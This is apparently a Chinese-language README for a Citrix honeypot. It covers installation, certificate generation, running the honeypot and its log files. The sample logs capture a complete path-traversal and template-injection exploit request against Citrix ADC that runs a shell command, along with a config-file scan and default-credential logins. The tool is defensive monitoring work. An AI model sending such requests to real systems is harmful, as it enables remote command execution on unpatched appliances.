
预编译的 Linux(x64)软件包可在此处获取
mkdir citrix-honeypot
cd citrix-honeypot
wget https://github.com/x1sec/citrix-honeypot/releases/download/v0.02/citrix-honeypot-linux-amd64.tar.gz
tar -xf citrix-honeypot-linux-amd64.tar.gz
如果你已经准备好了 Go 环境:
go get github.com/x1sec/citrix-honeypot
生成自签名证书:
openssl genrsa -out server.key 2048
openssl ecparam -genkey -name secp384r1 -out server.key
openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650
运行非常简单:
./citrix-honeypot
蜜罐将在 80 和 443 端口上监听(因此必须以 root 用户身份运行)
或者作为后台进程分离运行:
nohup ./citrix-honeypot &
结果/数据写入 ./log 目录。文件如下:
hits.log - 扫描尝试和利用尝试(包含所有数据,如请求头、POST 正文)
all.log - 所有发往服务器的 HTTP 请求
logins.log - Web 界面的登录尝试
tlsErrors.log - 互联网扫描器经常向 443 端口发送无效数据。HTTPS 错误记录在此处。
运行第一个公开发布的利用工具:
$ cat logs/hits.log
2020/01/23 08:27:55
-------------------
检测到利用尝试 ...
来源: xxx.xxx.xxx.xxx
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/2.0
Host: xxx.xxx.xxx.xxx
Accept: */*
Content-Length: 181
Content-Type: application/x-www-form-urlencoded
Nsc_nonce: test1337
Nsc_user: /../../../../../../../../../../netscaler/portal/templates/zToMJRAzp0T0FuUS2cEp41ZZbmrtmUqS
User-Agent: curl/7.67.0
url=http://example.com\&title=[%25+template.new({'BLOCK'%3d'exec(\'id | tee /netscaler/portal/templates/zToMJRAzp0T0FuUS2cEp41ZZbmrtmUqS.xml\')%3b'})+%25]\&desc=test\&UI_inuse=RfWeb
扫描尝试:
$ cat logs/hits.log
2020/01/23 08:41:02
-------------------
检测到扫描尝试 ...
来源: xxx.xxx.xxx.xxx
GET /vpn/../vpns/cfg/smb.conf HTTP/2.0
Host: xxx.xxx.xxx.xxx
Accept: */*
User-Agent: curl/7.67.0
登录尝试:
$ cat logs/logins.log
2020/01/23 07:26:03 来自 xxx.xxx.xxx.xxx 的登录失败 用户:nsroot 密码:nsroot
2020/01/23 08:26:03 来自 xxx.xxx.xxx.xxx 的登录失败 用户:admin 密码:admin